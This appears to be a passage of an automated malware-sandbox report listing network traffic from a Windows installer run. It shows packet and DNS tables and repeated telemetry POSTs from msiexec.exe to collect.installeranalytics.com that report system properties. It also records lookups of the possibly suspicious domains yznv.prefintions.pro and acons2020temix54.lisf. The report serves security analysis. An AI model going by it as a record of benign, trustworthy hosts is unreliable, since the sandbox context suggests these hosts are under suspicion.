Aug 2, 2024 14:17:05.220361948 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:05.221962929 CEST	80	49710	52.54.161.79	192.168.2.9
Aug 2, 2024 14:17:05.222019911 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:05.293061018 CEST	49710	80	192.168.2.9	52.54.161.79
Aug 2, 2024 14:17:15.654503107 CEST	49712	80	192.168.2.9	20.15.106.83
Aug 2, 2024 14:17:15.659477949 CEST	80	49712	20.15.106.83	192.168.2.9
Aug 2, 2024 14:17:15.659550905 CEST	49712	80	192.168.2.9	20.15.106.83
Aug 2, 2024 14:17:15.660221100 CEST	49712	80	192.168.2.9	20.15.106.83
Aug 2, 2024 14:17:15.665112019 CEST	80	49712	20.15.106.83	192.168.2.9
Aug 2, 2024 14:17:16.350012064 CEST	80	49712	20.15.106.83	192.168.2.9
Aug 2, 2024 14:17:16.399806976 CEST	49712	80	192.168.2.9	20.15.106.83
Aug 2, 2024 14:17:18.150032043 CEST	49712	80	192.168.2.9	20.15.106.83
Aug 2, 2024 14:17:18.155318975 CEST	80	49712	20.15.106.83	192.168.2.9
Aug 2, 2024 14:17:18.155400038 CEST	49712	80	192.168.2.9	20.15.106.83

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 2, 2024 14:16:47.016180038 CEST	55974	53	192.168.2.9	1.1.1.1
Aug 2, 2024 14:16:47.038918972 CEST	53	55974	1.1.1.1	192.168.2.9
Aug 2, 2024 14:16:57.573844910 CEST	53764	53	192.168.2.9	1.1.1.1
Aug 2, 2024 14:16:57.593055964 CEST	53	53764	1.1.1.1	192.168.2.9
Aug 2, 2024 14:17:16.367676020 CEST	56368	53	192.168.2.9	1.1.1.1
Aug 2, 2024 14:17:16.386087894 CEST	53	56368	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 2, 2024 14:16:47.016180038 CEST	192.168.2.9	1.1.1.1	0xab06	Standard query (0)	yznv.prefintions.pro	A (IP address)	IN (0x0001)	false
Aug 2, 2024 14:16:57.573844910 CEST	192.168.2.9	1.1.1.1	0x54c2	Standard query (0)	collect.installeranalytics.com	A (IP address)	IN (0x0001)	false
Aug 2, 2024 14:17:16.367676020 CEST	192.168.2.9	1.1.1.1	0x2d5b	Standard query (0)	acons2020temix54.lisf	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 2, 2024 14:16:47.038918972 CEST	1.1.1.1	192.168.2.9	0xab06	No error (0)	yznv.prefintions.pro		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 2, 2024 14:16:47.038918972 CEST	1.1.1.1	192.168.2.9	0xab06	No error (0)	yznv.prefintions.pro		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 2, 2024 14:16:56.467128038 CEST	1.1.1.1	192.168.2.9	0x968e	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 2, 2024 14:16:56.467128038 CEST	1.1.1.1	192.168.2.9	0x968e	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Aug 2, 2024 14:16:57.593055964 CEST	1.1.1.1	192.168.2.9	0x54c2	No error (0)	collect.installeranalytics.com		52.54.161.79	A (IP address)	IN (0x0001)	false
Aug 2, 2024 14:16:57.593055964 CEST	1.1.1.1	192.168.2.9	0x54c2	No error (0)	collect.installeranalytics.com		54.167.177.111	A (IP address)	IN (0x0001)	false
Aug 2, 2024 14:17:16.386087894 CEST	1.1.1.1	192.168.2.9	0x2d5b	Name error (3)	acons2020temix54.lisf	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

yznv.prefintions.pro

collect.installeranalytics.com

20.15.106.83

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49710	52.54.161.79	80	7176	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 14:16:57.599442005 CEST	241	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 167 Cache-Control: no-cache
Aug 2, 2024 14:16:57.599531889 CEST	167	OUT	Data Raw: 71 74 3d 34 38 38 34 38 32 38 26 74 3d 6c 69 66 65 63 79 63 6c 65 26 6c 63 3d 73 74 61 72 74 26 76 3d 33 26 61 69 64 3d 36 36 61 63 30 63 39 65 32 66 66 35 30 38 62 66 62 61 38 37 38 61 61 35 26 61 76 3d 38 2e 37 2e 36 2e 38 26 63 69 64 3d 39 34 Data Ascii: qt=4884828&t=lifecycle&lc=start&v=3&aid=66ac0c9e2ff508bfba878aa5&av=8.7.6.8&cid=94BCABD9E1EBB3E75B71854540642746D0A25913&sid=%7BAF3E5550-CCB7-4030-8139-9A55D2075DE7%7D
Aug 2, 2024 14:16:58.100822926 CEST	338	IN	HTTP/1.1 200 OK Cache-control: no-cache="set-cookie" Date: Fri, 02 Aug 2024 12:16:58 GMT Set-Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366;PATH=/;MAX-AGE=600 X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:16:58.108182907 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 179 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:16:58.108182907 CEST	179	OUT	Data Raw: 71 74 3d 34 38 38 36 30 31 35 26 74 3d 70 72 6f 70 65 72 74 79 26 6c 62 3d 56 65 72 73 69 6f 6e 4e 54 26 76 61 6c 3d 31 30 30 30 26 76 3d 33 26 61 69 64 3d 36 36 61 63 30 63 39 65 32 66 66 35 30 38 62 66 62 61 38 37 38 61 61 35 26 61 76 3d 38 2e Data Ascii: qt=4886015&t=property&lb=VersionNT&val=1000&v=3&aid=66ac0c9e2ff508bfba878aa5&av=8.7.6.8&cid=94BCABD9E1EBB3E75B71854540642746D0A25913&sid=%7BAF3E5550-CCB7-4030-8139-9A55D2075DE7%7D
Aug 2, 2024 14:16:58.279961109 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:16:58 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:16:58.281263113 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 181 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:16:58.281263113 CEST	181	OUT	Data Raw: 71 74 3d 34 38 38 36 31 38 37 26 74 3d 70 72 6f 70 65 72 74 79 26 6c 62 3d 56 65 72 73 69 6f 6e 4e 54 36 34 26 76 61 6c 3d 31 30 30 30 26 76 3d 33 26 61 69 64 3d 36 36 61 63 30 63 39 65 32 66 66 35 30 38 62 66 62 61 38 37 38 61 61 35 26 61 76 3d Data Ascii: qt=4886187&t=property&lb=VersionNT64&val=1000&v=3&aid=66ac0c9e2ff508bfba878aa5&av=8.7.6.8&cid=94BCABD9E1EBB3E75B71854540642746D0A25913&sid=%7BAF3E5550-CCB7-4030-8139-9A55D2075DE7%7D
Aug 2, 2024 14:16:58.399899006 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:16:58 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:16:58.401258945 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 184 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:16:58.401294947 CEST	184	OUT	Data Raw: 71 74 3d 34 38 38 36 33 31 32 26 74 3d 70 72 6f 70 65 72 74 79 26 6c 62 3d 50 68 79 73 69 63 61 6c 4d 65 6d 6f 72 79 26 76 61 6c 3d 38 31 39 31 26 76 3d 33 26 61 69 64 3d 36 36 61 63 30 63 39 65 32 66 66 35 30 38 62 66 62 61 38 37 38 61 61 35 26 Data Ascii: qt=4886312&t=property&lb=PhysicalMemory&val=8191&v=3&aid=66ac0c9e2ff508bfba878aa5&av=8.7.6.8&cid=94BCABD9E1EBB3E75B71854540642746D0A25913&sid=%7BAF3E5550-CCB7-4030-8139-9A55D2075DE7%7D
Aug 2, 2024 14:16:58.519922018 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:16:58 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:16:58.534373045 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 180 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:16:58.534404993 CEST	180	OUT	Data Raw: 71 74 3d 34 38 38 36 34 33 37 26 74 3d 70 72 6f 70 65 72 74 79 26 6c 62 3d 56 65 72 73 69 6f 6e 4d 73 69 26 76 61 6c 3d 35 2e 30 30 26 76 3d 33 26 61 69 64 3d 36 36 61 63 30 63 39 65 32 66 66 35 30 38 62 66 62 61 38 37 38 61 61 35 26 61 76 3d 38 Data Ascii: qt=4886437&t=property&lb=VersionMsi&val=5.00&v=3&aid=66ac0c9e2ff508bfba878aa5&av=8.7.6.8&cid=94BCABD9E1EBB3E75B71854540642746D0A25913&sid=%7BAF3E5550-CCB7-4030-8139-9A55D2075DE7%7D
Aug 2, 2024 14:16:58.707993031 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:16:58 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:16:58.709405899 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 174 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:16:58.709405899 CEST	174	OUT	Data Raw: 71 74 3d 34 38 38 36 36 30 39 26 74 3d 70 72 6f 70 65 72 74 79 26 6c 62 3d 55 49 4c 65 76 65 6c 26 76 61 6c 3d 33 26 76 3d 33 26 61 69 64 3d 36 36 61 63 30 63 39 65 32 66 66 35 30 38 62 66 62 61 38 37 38 61 61 35 26 61 76 3d 38 2e 37 2e 36 2e 38 Data Ascii: qt=4886609&t=property&lb=UILevel&val=3&v=3&aid=66ac0c9e2ff508bfba878aa5&av=8.7.6.8&cid=94BCABD9E1EBB3E75B71854540642746D0A25913&sid=%7BAF3E5550-CCB7-4030-8139-9A55D2075DE7%7D
Aug 2, 2024 14:16:58.828140020 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:16:58 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:16:58.829271078 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 183 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:16:58.829318047 CEST	183	OUT	Data Raw: 71 74 3d 34 38 38 36 37 33 34 26 74 3d 70 72 6f 70 65 72 74 79 26 6c 62 3d 56 69 72 74 75 61 6c 4d 65 6d 6f 72 79 26 76 61 6c 3d 36 37 36 35 26 76 3d 33 26 61 69 64 3d 36 36 61 63 30 63 39 65 32 66 66 35 30 38 62 66 62 61 38 37 38 61 61 35 26 61 Data Ascii: qt=4886734&t=property&lb=VirtualMemory&val=6765&v=3&aid=66ac0c9e2ff508bfba878aa5&av=8.7.6.8&cid=94BCABD9E1EBB3E75B71854540642746D0A25913&sid=%7BAF3E5550-CCB7-4030-8139-9A55D2075DE7%7D
Aug 2, 2024 14:16:59.000760078 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:16:58 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:16:59.003102064 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 183 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:16:59.003117085 CEST	183	OUT	Data Raw: 71 74 3d 34 38 38 36 39 30 36 26 74 3d 70 72 6f 70 65 72 74 79 26 6c 62 3d 4d 73 69 4e 54 50 72 6f 64 75 63 74 54 79 70 65 26 76 61 6c 3d 31 26 76 3d 33 26 61 69 64 3d 36 36 61 63 30 63 39 65 32 66 66 35 30 38 62 66 62 61 38 37 38 61 61 35 26 61 Data Ascii: qt=4886906&t=property&lb=MsiNTProductType&val=1&v=3&aid=66ac0c9e2ff508bfba878aa5&av=8.7.6.8&cid=94BCABD9E1EBB3E75B71854540642746D0A25913&sid=%7BAF3E5550-CCB7-4030-8139-9A55D2075DE7%7D
Aug 2, 2024 14:16:59.120764017 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:16:59 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:16:59.121942043 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 183 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:16:59.122000933 CEST	183	OUT	Data Raw: 71 74 3d 34 38 38 37 30 33 31 26 74 3d 70 72 6f 70 65 72 74 79 26 6c 62 3d 53 65 72 76 69 63 65 50 61 63 6b 4c 65 76 65 6c 26 76 61 6c 3d 30 26 76 3d 33 26 61 69 64 3d 36 36 61 63 30 63 39 65 32 66 66 35 30 38 62 66 62 61 38 37 38 61 61 35 26 61 Data Ascii: qt=4887031&t=property&lb=ServicePackLevel&val=0&v=3&aid=66ac0c9e2ff508bfba878aa5&av=8.7.6.8&cid=94BCABD9E1EBB3E75B71854540642746D0A25913&sid=%7BAF3E5550-CCB7-4030-8139-9A55D2075DE7%7D
Aug 2, 2024 14:16:59.238928080 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:16:59 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:16:59.241369963 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 185 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:16:59.241449118 CEST	185	OUT	Data Raw: 71 74 3d 34 38 38 37 31 34 30 26 74 3d 70 72 6f 70 65 72 74 79 26 6c 62 3d 50 72 6f 64 75 63 74 4c 61 6e 67 75 61 67 65 26 76 61 6c 3d 31 30 34 36 26 76 3d 33 26 61 69 64 3d 36 36 61 63 30 63 39 65 32 66 66 35 30 38 62 66 62 61 38 37 38 61 61 35 Data Ascii: qt=4887140&t=property&lb=ProductLanguage&val=1046&v=3&aid=66ac0c9e2ff508bfba878aa5&av=8.7.6.8&cid=94BCABD9E1EBB3E75B71854540642746D0A25913&sid=%7BAF3E5550-CCB7-4030-8139-9A55D2075DE7%7D
Aug 2, 2024 14:16:59.357131958 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:16:59 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:16:59.359544039 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 195 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:16:59.476516962 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:16:59 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:16:59.477715969 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 192 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:16:59.646718025 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:16:59 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:16:59.648118019 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 195 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:16:59.822338104 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:16:59 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:16:59.823615074 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 192 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:16:59.995480061 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:16:59 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:16:59.996782064 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 194 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:00.170614958 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:00 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:00.171952009 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 210 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:00.344228029 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:00 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:00.345217943 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 211 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:00.515794992 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:00 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:00.517040968 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 193 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:00.634789944 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:00 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:00.636797905 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 207 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:00.753201008 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:00 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:00.754173994 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 199 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:00.927346945 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:00 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:00.930677891 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 201 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:01.105218887 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:01 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:01.106472969 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 201 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:01.300098896 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:01 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:01.301229954 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 203 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:01.418885946 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:01 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:01.420043945 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 202 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:01.591351032 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:01 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:01.592506886 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 204 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:01.763144970 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:01 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:01.772264004 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 204 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:01.889184952 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:01 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
Aug 2, 2024 14:17:01.890789986 CEST	396	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvinstAnalytics/1.0 (Microsoft Windows NT 10.0.19045 ; x64) Host: collect.installeranalytics.com Content-Length: 207 Cache-Control: no-cache Cookie: AWSELB=2939936F10270D1CC9821964991403D8EB363D63DEDB1F8F215A0408044F318729EA64130D943CE7783F2A16A31B01C12D70B5AA9BD74C387C0009FC4F39F82D3C14701366
Aug 2, 2024 14:17:02.076070070 CEST	122	IN	HTTP/1.1 200 OK Date: Fri, 02 Aug 2024 12:17:02 GMT X-Powered-By: Express Content-Length: 0 Connection: keep-alive
